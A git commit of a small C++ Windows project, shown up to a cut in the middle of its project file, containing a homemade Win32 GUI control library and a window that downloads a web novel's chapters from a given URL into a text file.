This commit is contained in:
黄 杰 2025-06-05 10:57:43 +08:00
commit 4ee74830b7
14 changed files with 3830 additions and 0 deletions

63
.gitattributes vendored Normal file
View File

@ -0,0 +1,63 @@
###############################################################################
# Set default behavior to automatically normalize line endings.
###############################################################################
* text=auto
###############################################################################
# Set default behavior for command prompt diff.
#
# This is need for earlier builds of msysgit that does not have it on by
# default for csharp files.
# Note: This is only used by command line
###############################################################################
#*.cs diff=csharp
###############################################################################
# Set the merge driver for project and solution files
#
# Merging from the command prompt will add diff markers to the files if there
# are conflicts (Merging from VS is not affected by the settings below, in VS
# the diff markers are never inserted). Diff markers may cause the following
# file extensions to fail to load in VS. An alternative would be to treat
# these files as binary and thus will always conflict and require user
# intervention with every merge. To do so, just uncomment the entries below
###############################################################################
#*.sln merge=binary
#*.csproj merge=binary
#*.vbproj merge=binary
#*.vcxproj merge=binary
#*.vcproj merge=binary
#*.dbproj merge=binary
#*.fsproj merge=binary
#*.lsproj merge=binary
#*.wixproj merge=binary
#*.modelproj merge=binary
#*.sqlproj merge=binary
#*.wwaproj merge=binary
###############################################################################
# behavior for image files
#
# image files are treated as binary by default.
###############################################################################
#*.jpg binary
#*.png binary
#*.gif binary
###############################################################################
# diff behavior for common document formats
#
# Convert binary document formats to text before diffing them. This feature
# is only available from the command line. Turn it on by uncommenting the
# entries below.
###############################################################################
#*.doc diff=astextplain
#*.DOC diff=astextplain
#*.docx diff=astextplain
#*.DOCX diff=astextplain
#*.dot diff=astextplain
#*.DOT diff=astextplain
#*.pdf diff=astextplain
#*.PDF diff=astextplain
#*.rtf diff=astextplain
#*.RTF diff=astextplain

363
.gitignore vendored Normal file
View File

@ -0,0 +1,363 @@
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
##
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
# User-specific files
*.rsuser
*.suo
*.user
*.userosscache
*.sln.docstates
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Mono auto generated files
mono_crash.*
# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
[Ww][Ii][Nn]32/
[Aa][Rr][Mm]/
[Aa][Rr][Mm]64/
bld/
[Bb]in/
[Oo]bj/
[Oo]ut/
[Ll]og/
[Ll]ogs/
# Visual Studio 2015/2017 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
#wwwroot/
# Visual Studio 2017 auto generated files
Generated\ Files/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
# NUnit
*.VisualState.xml
TestResult.xml
nunit-*.xml
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
# Benchmark Results
BenchmarkDotNet.Artifacts/
# .NET Core
project.lock.json
project.fragment.lock.json
artifacts/
# ASP.NET Scaffolding
ScaffoldingReadMe.txt
# StyleCop
StyleCopReport.xml
# Files built by Visual Studio
*_i.c
*_p.c
*_h.h
*.ilk
*.meta
*.obj
*.iobj
*.pch
*.pdb
*.ipdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*_wpftmp.csproj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
*.VC.VC.opendb
# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap
# Visual Studio Trace Files
*.e2e
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# AxoCover is a Code Coverage Tool
.axoCover/*
!.axoCover/settings.json
# Coverlet is a free, cross platform Code Coverage Tool
coverage*.json
coverage*.xml
coverage*.info
# Visual Studio code coverage results
*.coverage
*.coveragexml
# NCrunch
_NCrunch_*
.*crunch*.local.xml
nCrunchTemp_*
# MightyMoose
*.mm.*
AutoTest.Net/
# Web workbench (sass)
.sass-cache/
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# Note: Comment the next line if you want to checkin your web deploy settings,
# but database connection strings (with potential passwords) will be unencrypted
*.pubxml
*.publishproj
# Microsoft Azure Web App publish settings. Comment the next line if you want to
# checkin your Azure Web App publish settings, but sensitive information contained
# in these scripts will be unencrypted
PublishScripts/
# NuGet Packages
*.nupkg
# NuGet Symbol Packages
*.snupkg
# The packages folder can be ignored because of Package Restore
**/[Pp]ackages/*
# except build/, which is used as an MSBuild target.
!**/[Pp]ackages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/[Pp]ackages/repositories.config
# NuGet v3's project.json files produces more ignorable files
*.nuget.props
*.nuget.targets
# Microsoft Azure Build Output
csx/
*.build.csdef
# Microsoft Azure Emulator
ecf/
rcf/
# Windows Store app package directories and files
AppPackages/
BundleArtifacts/
Package.StoreAssociation.xml
_pkginfo.txt
*.appx
*.appxbundle
*.appxupload
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!?*.[Cc]ache/
# Others
ClientBin/
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.jfm
*.pfx
*.publishsettings
orleans.codegen.cs
# Including strong name files can present a security risk
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
#*.snk
# Since there are multiple workflows, uncomment next line to ignore bower_components
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
#bower_components/
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
ServiceFabricBackup/
*.rptproj.bak
# SQL Server files
*.mdf
*.ldf
*.ndf
# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
*.rptproj.rsuser
*- [Bb]ackup.rdl
*- [Bb]ackup ([0-9]).rdl
*- [Bb]ackup ([0-9][0-9]).rdl
# Microsoft Fakes
FakesAssemblies/
# GhostDoc plugin setting file
*.GhostDoc.xml
# Node.js Tools for Visual Studio
.ntvs_analysis.dat
node_modules/
# Visual Studio 6 build log
*.plg
# Visual Studio 6 workspace options file
*.opt
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
*.vbw
# Visual Studio LightSwitch build output
**/*.HTMLClient/GeneratedArtifacts
**/*.DesktopClient/GeneratedArtifacts
**/*.DesktopClient/ModelManifest.xml
**/*.Server/GeneratedArtifacts
**/*.Server/ModelManifest.xml
_Pvt_Extensions
# Paket dependency manager
.paket/paket.exe
paket-files/
# FAKE - F# Make
.fake/
# CodeRush personal settings
.cr/personal
# Python Tools for Visual Studio (PTVS)
__pycache__/
*.pyc
# Cake - Uncomment if you are using it
# tools/**
# !tools/packages.config
# Tabs Studio
*.tss
# Telerik's JustMock configuration file
*.jmconfig
# BizTalk build output
*.btp.cs
*.btm.cs
*.odx.cs
*.xsd.cs
# OpenCover UI analysis results
OpenCover/
# Azure Stream Analytics local run output
ASALocalRun/
# MSBuild Binary and Structured Log
*.binlog
# NVidia Nsight GPU debugger configuration file
*.nvuser
# MFractors (Xamarin productivity tool) working folder
.mfractor/
# Local History for Visual Studio
.localhistory/
# BeatPulse healthcheck temp database
healthchecksdb
# Backup folder for Package Reference Convert tool in Visual Studio 2017
MigrationBackup/
# Ionide (cross platform F# VS Code tools) working folder
.ionide/
# Fody - auto-generated XML schema
FodyWeavers.xsd

31
WinGUI.sln Normal file
View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.9.34701.34
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "WinGUI", "WinGUI\WinGUI.vcxproj", "{CA76A14F-63EC-4054-97C5-D0B57520CD3F}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{CA76A14F-63EC-4054-97C5-D0B57520CD3F}.Debug|x64.ActiveCfg = Debug|x64
{CA76A14F-63EC-4054-97C5-D0B57520CD3F}.Debug|x64.Build.0 = Debug|x64
{CA76A14F-63EC-4054-97C5-D0B57520CD3F}.Debug|x86.ActiveCfg = Debug|Win32
{CA76A14F-63EC-4054-97C5-D0B57520CD3F}.Debug|x86.Build.0 = Debug|Win32
{CA76A14F-63EC-4054-97C5-D0B57520CD3F}.Release|x64.ActiveCfg = Release|x64
{CA76A14F-63EC-4054-97C5-D0B57520CD3F}.Release|x64.Build.0 = Release|x64
{CA76A14F-63EC-4054-97C5-D0B57520CD3F}.Release|x86.ActiveCfg = Release|Win32
{CA76A14F-63EC-4054-97C5-D0B57520CD3F}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {ABD5BF52-B056-476F-B8D5-6A610CA662D7}
EndGlobalSection
EndGlobal

BIN
WinGUI/AppIco.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 21 KiB

1355
WinGUI/GUI/WinUI.cpp Normal file

File diff suppressed because it is too large Load Diff

377
WinGUI/GUI/WinUI.h Normal file
View File

@ -0,0 +1,377 @@
#pragma once
#include <Utils/Utils.h>
typedef Event<void(class Control*, HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)> EventHandler;
class Control
{
protected:
static HFONT DefaultFont();
static LRESULT CALLBACK CAPTURED_MESSAGE_PROCESS(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);
LRESULT(*MESSAGE_PROCESS)(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) = NULL;
public:
HWND m_Handle = NULL;
EventHandler OnClicked;
EventHandler OnDoubleClicked;
EventHandler OnChanged;
EventHandler OnEditChanged;
EventHandler OnSelectionChanged;
EventHandler OnMouseLeftButtonDown;
EventHandler OnMouseLeftButtonUp;
EventHandler OnMouseMiddleButtonDown;
EventHandler OnMouseMiddleButtonUp;
EventHandler OnMouseRightButtonDown;
EventHandler OnMouseRightButtonUp;
EventHandler OnMouseMove;
EventHandler OnMouseWheel;
EventHandler OnKeyDown;
EventHandler OnKeyUp;
EventHandler OnGotFocus;
EventHandler OnLostFocus;
EventHandler OnSizeChanged;
EventHandler OnMoved;
Control();
PROPERTY(HWND, Parent);
GET(HWND, Parent);
SET(HWND, Parent);
PROPERTY(Control*, ParentControl);
GET(Control*, ParentControl);
SET(Control*, ParentControl);
PROPERTY(std::wstring, Text);
GET(std::wstring, Text);
SET(std::wstring, Text);
PROPERTY(DWORD, Style);
GET(DWORD, Style);
SET(DWORD, Style);
PROPERTY(DWORD, StyleEx);
GET(DWORD, StyleEx);
SET(DWORD, StyleEx);
PROPERTY(std::wstring, Class);
GET(std::wstring, Class);
PROPERTY(int, Width);
GET(int, Width);
SET(int, Width);
PROPERTY(int, Height);
GET(int, Height);
SET(int, Height);
PROPERTY(int, Left);
GET(int, Left);
SET(int, Left);
PROPERTY(int, Top);
GET(int, Top);
SET(int, Top);
PROPERTY(int, X);
GET(int, X);
SET(int, X);
PROPERTY(int, Y);
GET(int, Y);
SET(int, Y);
PROPERTY(int, Right);
GET(int, Right);
SET(int, Right);
PROPERTY(int, Bottom);
GET(int, Bottom);
SET(int, Bottom);
PROPERTY(POINT, Location);
GET(POINT, Location);
SET(POINT, Location);
PROPERTY(SIZE, Size);
GET(SIZE, Size);
SET(SIZE, Size);
PROPERTY(BOOL, Checked);
GET(BOOL, Checked);
SET(BOOL, Checked);
PROPERTY(RECT, Rect);
GET(RECT, Rect);
SET(RECT, Rect);
PROPERTY(BOOL, Enable);
GET(BOOL, Enable);
SET(BOOL, Enable);
PROPERTY(BOOL, Visable);
GET(BOOL, Visable);
SET(BOOL, Visable);
PROPERTY(COLORREF, ForeColor);
virtual GET(COLORREF, ForeColor);
virtual SET(COLORREF, ForeColor);
PROPERTY(COLORREF, BackColor);
virtual GET(COLORREF, BackColor);
virtual SET(COLORREF, BackColor);
PROPERTY(std::vector<Control*>, Childens);
GET(std::vector<Control*>, Childens);
PROPERTY(std::vector<HWND>, ChildHandles);
GET(std::vector<HWND>, ChildHandles);
PROPERTY(HFONT, Font);
GET(HFONT, Font);
SET(HFONT, Font);
PROPERTY(HBITMAP, Bitmap);
GET(HBITMAP, Bitmap);
SET(HBITMAP, Bitmap);
READONLY_PROPERTY(HWND, TopLevelControl);
GET(HWND, TopLevelHandle);
READONLY_PROPERTY(class Window*, TopLevelWindow);
GET(class Window*, TopLevelWindow);
void SetRect(POINT location, SIZE size);
void SetRect(int x, int y, int width, int height);
void CaptureMessage();
BOOL RemoveChild(Control* child);
void SetFont(std::wstring fontName, int fontSize);
virtual LRESULT ProcessEvent(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);
};
class Button : public Control
{
public:
Button(Control* parent);
};
class CheckBox : public Control
{
public:
CheckBox(Control* parent);
};
class ComboBox : public Control
{
public:
ComboBox(Control* parent);
PROPERTY(int, SelectedIndex);
GET(int, SelectedIndex);
SET(int, SelectedIndex);
READONLY_PROPERTY(std::wstring, SelectedItem);
GET(std::wstring, SelectedItem);
std::wstring operator[](int index);
void AddItem(std::wstring index);
READONLY_PROPERTY(int, Count);
GET(int, Count);
void Clear();
void RemoveAt(int index);
};
class GroupBox : public Control
{
public:
GroupBox(Control* parent);
};
class Label : public Control
{
public:
Label(Control* parent);
};
class ListBox : public Control
{
public:
ListBox(Control* parent);
void AddItem(std::wstring item);
void RemoveAt(int index);
std::wstring operator[](int index);
void Clear();
READONLY_PROPERTY(int, Count);
GET(int, Count);
};
class ListView : public Control
{
public:
ListView(Control* parent);
READONLY_PROPERTY(int, ColumnCount);
GET(int, ColumnCount);
PROPERTY(int, RowCount);
GET(int, RowCount);
SET(int, RowCount);
void AddColumn(LVCOLUMN col);
void AddColumn(std::wstring name, int width, DWORD align = LVCFMT_LEFT, DWORD flag = LVCF_FMT | LVCF_WIDTH | LVCF_TEXT | LVCF_SUBITEM);
void RemoveColumn(int colIndex);
int AddRow();
void SetItemText(int col, int row, std::wstring text);
void Clear();
PROPERTY(int, SelectedRowIndex);
GET(int, SelectedRowIndex);
SET(int, SelectedRowIndex);
LVITEM GetItem(int colIndex, int rowIndex);
std::wstring GetItemText(int colIndex, int rowIndex);
};
class ProgressBar : public Control
{
public:
ProgressBar(Control* parent);
PROPERTY(int, MaxValue);
GET(int, MaxValue);
SET(int, MaxValue);
PROPERTY(int, MinValue);
GET(int, MinValue);
SET(int, MinValue);
PROPERTY(int, Value);
GET(int, Value);
SET(int, Value);
};
class RadioBox : public Control
{
public:
RadioBox(Control* parent);
};
class RichTextBox : public Control
{
public:
RichTextBox(Control* parent);
void AppendText(std::wstring str);
void AppendLine(std::wstring str);
void ScrollToCaret();
};
enum class ScrollBarDirection
{
Horizontal,
Vertical
};
class ScrollBar : public Control
{
public:
ScrollBar(Control* parent, ScrollBarDirection dir = ScrollBarDirection::Horizontal);
};
class TabPage : public Control
{
public:
TabPage(Control* parent);
};
class TabControl : public Control
{
List<TabPage*> pages = List<TabPage*>();
public:
TabControl(Control* parent);
TabPage* AddPage(std::wstring item);
void RemoveAt(int index);
std::wstring operator[](int index);
void Clear();
LRESULT ProcessEvent(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);
void UpdatePages();
READONLY_PROPERTY(int, Count);
GET(int, Count);
READONLY_PROPERTY(int, SelectedIndex);
GET(int, SelectedIndex);
READONLY_PROPERTY(TabPage**, Pages);
GET(TabPage**, Pages);
};
class TextBox : public Control
{
#define ID_EDITCHILD 100
public:
TextBox(Control* parent);
PROPERTY(const wchar_t, PasswordChar);
GET(const wchar_t, PasswordChar);
SET(const wchar_t, PasswordChar);
PROPERTY(BOOL, PasswordBox);
GET(BOOL, PasswordBox);
SET(BOOL, PasswordBox);
};
class Tooltip : public Control
{
Control* bindControl = NULL;
public:
Tooltip(Control* parent);
void SetMessage(std::wstring text);
};
class Trackbar : public Control
{
public:
Trackbar(Control* parent);
PROPERTY(int, MaxValue);
GET(int, MaxValue);
SET(int, MaxValue);
PROPERTY(int, MinValue);
GET(int, MinValue);
SET(int, MinValue);
PROPERTY(int, Value);
GET(int, Value);
SET(int, Value);
PROPERTY(int, SelStart);
GET(int, SelStart);
SET(int, SelStart);
PROPERTY(int, SelEnd);
GET(int, SelEnd);
SET(int, SelEnd);
};
class TreeView : public Control
{
public:
TreeView(Control* parent);
void Clear();
HTREEITEM AddItem(const std::wstring& text, HTREEITEM parent = TVI_ROOT);
BOOL RemoveItem(HTREEITEM it);
READONLY_PROPERTY(HTREEITEM, Selected);
GET(HTREEITEM, Selected);
READONLY_PROPERTY(std::wstring, SelectedString);
GET(std::wstring, SelectedString);
READONLY_PROPERTY(int, Count);
GET(int, Count);
std::wstring GetItemString(HTREEITEM it);
};
class DatePicker : public Control
{
public:
DatePicker(Control* parent);
};
class TimePicker : public Control
{
public:
TimePicker(Control* parent);
};
class Window : public Control
{
static BOOL ClassInited;
static void InitWindowClass();
COLORREF m_BackColor = RGB(255, 255, 255);
public:
Window();
void Show();
void ShowDialog(HWND parent = NULL);
static void Run();
static void DoEvent();
virtual GET(COLORREF, BackColor);
virtual SET(COLORREF, BackColor);
PROPERTY(HICON, Icon);
GET(HICON, Icon);
SET(HICON, Icon);
PROPERTY(BOOL, CanResize);
GET(BOOL, CanResize);
SET(BOOL, CanResize);
PROPERTY(BOOL, MaxBox);
GET(BOOL, MaxBox);
SET(BOOL, MaxBox);
PROPERTY(BOOL, MinBox);
GET(BOOL, MinBox);
SET(BOOL, MinBox);
static int g_WindowCount;
static List<HWND> Windows;
void Close();
};
#define GUI_EVENT_LINK(x) [&](Control* sender, HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) {x(sender, hWnd, message, wParam, lParam); }

163
WinGUI/MainWindow.cpp Normal file
View File

@ -0,0 +1,163 @@
#include "MainWindow.h"
#include "resource.h"
#include "Utils/Utils.h"
MainWindow::MainWindow()
{
this->label1 = new Label(this);
this->tInput = new TextBox(this);
this->bOK = new Button(this);
this->pb = new ProgressBar(this);
this->MaxBox = FALSE;
// Window
this->Size = SIZE{ 300, 120 };
this->Text = L"KCE";
this->CanResize = FALSE;
this->Icon = LoadIcon(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ICON1));
this->label1->SetRect(10, 10, 200, 20);
this->label1->Text = L"URL";
this->tInput->SetRect(10, 32, 200, 24);
this->bOK->SetRect(215, 32, 60, 24);
this->bOK->Text = L"开始";
this->bOK->OnClicked += GUI_EVENT_LINK(this->bOK_OnClick);
this->pb->SetRect(10, 60, 200, 10);
}
MainWindow::~MainWindow() {}
typedef struct Chapter
{
std::string url;
std::string title;
};
std::vector<Chapter> GetAllChapter(std::string url, std::string& bookName)
{
std::vector<Chapter> res;
auto html = HttpHelper::HttpRequestGet(url);
while (0x00088b1f == *(UINT32*)html.c_str())
{
html = HttpHelper::HttpRequestGet(url);
printf(".");
}
html = Convert::Utf8ToAnsi(html);
auto nameStart = html.find(R"(<h1>)");
auto nameEnd = html.find(R"(</h1>)");
if (nameStart != std::string::npos && nameEnd != std::string::npos)
{
size_t nameLen = (nameEnd - nameStart) - 4;
std::string bkName = html.substr(nameStart + 4, nameLen);
bookName = bkName;
}
auto lines = StringHelper::Split(html, { '\r','\n' });
for (auto l : lines)
{
auto found = l.find(R"(<li><a style="" href=")");
if (found != std::string::npos)
{
auto start = found + 22;
auto end = l.find(".html") + 5;
auto u = l.substr(start, end - start);
if (u.size() > 5)
{
auto title = l.substr(end + 2);
title = title.substr(0, title.size() - 9);
Chapter c;
if (url.ends_with("/"))
c.url = url + u;
else
c.url = url + "/" + u;
c.title = title;
res.push_back(c);
}
}
}
return res;
}
std::string GetBook(std::string url)
{
auto html = HttpHelper::HttpRequestGet(url);
while (0x88b1f == *(UINT32*)html.c_str())
{
html = HttpHelper::HttpRequestGet(url);
printf(".");
}
html = Convert::Utf8ToAnsi(html);
std::stringstream sb;
auto lines = StringHelper::Split(html, { '\r','\n' });
for (auto l : lines)
{
auto found = l.find(R"(&nbsp;&nbsp;&nbsp;&nbsp;)");
if (found != std::string::npos)
{
auto ls = StringHelper::Replace(l, "&nbsp;&nbsp;&nbsp;&nbsp;", "");
ls = StringHelper::Replace(ls, "<br /><br />", "\n");
ls = StringHelper::Replace(ls, "</div>", "\n");
return ls;
}
}
return "";
}
bool MainWindow::DownloadBook(std::string bookPage, std::string savePath)
{
std::string bookName = "";
auto pages = GetAllChapter(bookPage, bookName);
if (bookName.size() == 0)
return false;
savePath.append(bookName);
savePath.append(".txt");
File::Delete(savePath);
File::Create(savePath);
int index = 0;
for (auto u : pages)
{
int errc = 0;
retry:
std::string bk = GetBook(u.url);
if (bk.size() == 0)
{
printf("[-] %d/%d %s -> ERROR\n", index + 1, pages.size(), u.url.c_str());
if (errc++ > 10)
return false;
goto retry;
}
else
{
printf("[+] %d/%d %s -> OK\n", index + 1, pages.size(), u.url.c_str());
File::AppendAllText(savePath, u.title + "\n");
File::AppendAllText(savePath, bk);
}
index += 1;
this->pb->MaxValue = pages.size();
this->pb->Value = index;
}
return true;
}
void MainWindow::bOK_OnClick(Control* sender, HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
std::string url = Convert::wstring_to_string(this->tInput->Text);
this->tInput->Text = L"";
auto run = [&]() {return this->DownloadBook(Convert::AnsiToUtf8(url), ""); };
Task tsk(run);
auto runner = tsk.Start();
this->bOK->Enable = false;
while (true)
{
Sleep(1);
Window::DoEvent();
if (runner.IsComplete())
break;
}
if (runner.Get())
MessageBoxW(this->m_Handle, L"下载完成", L"提示", MB_OK);
else
MessageBoxW(this->m_Handle, L"下载失败", L"提示", MB_OK);
this->bOK->Enable = true;
this->pb->Value = 0;
UpdateWindow(this->m_Handle);
}

18
WinGUI/MainWindow.h Normal file
View File

@ -0,0 +1,18 @@
#pragma once
#include "GUI/WinUI.h"
#include <xmllite.h>
#pragma comment (lib, "xmllite.lib")
class MainWindow : public Window
{
Label* label1 = NULL;
TextBox* tInput = NULL;
Button* bOK = NULL;
ProgressBar* pb = NULL;
void bOK_OnClick(Control* sender, HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);
bool DownloadBook(std::string bookPage, std::string savePath);
public:
MainWindow();
~MainWindow();
};

BIN
WinGUI/WinGUI.rc Normal file

Binary file not shown.

279
WinGUI/WinGUI.vcxproj Normal file
View File

@ -0,0 +1,279 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{ca76a14f-63ec-4054-97c5-d0b57520cd3f}</ProjectGuid>
<RootNamespace>WinGUI</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<EnableASAN>false</EnableASAN>
<EnableFuzzer>false</EnableFuzzer>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<EnableASAN>false</EnableASAN>
<EnableFuzzer>false</EnableFuzzer>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ExternalIncludePath>D:\Projects\CppUtils;$(ExternalIncludePath)</ExternalIncludePath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ExternalIncludePath>D:\Projects\CppUtils;$(ExternalIncludePath)</ExternalIncludePath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ExternalIncludePath>D:\Projects\CppUtils;$(ExternalIncludePath)</ExternalIncludePath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ExternalIncludePath>D:\Projects\CppUtils;$(ExternalIncludePath)</ExternalIncludePath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<EnableParallelCodeGeneration>true</EnableParallelCodeGeneration>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<LanguageStandard>stdcpplatest</LanguageStandard>
<BufferSecurityCheck>false</BufferSecurityCheck>
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<UACExecutionLevel>RequireAdministrator</UACExecutionLevel>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<EnableParallelCodeGeneration>true</EnableParallelCodeGeneration>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<LanguageStandard>stdcpplatest</LanguageStandard>
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
<InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>
<BufferSecurityCheck>false</BufferSecurityCheck>
<Optimization>Disabled</Optimization>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
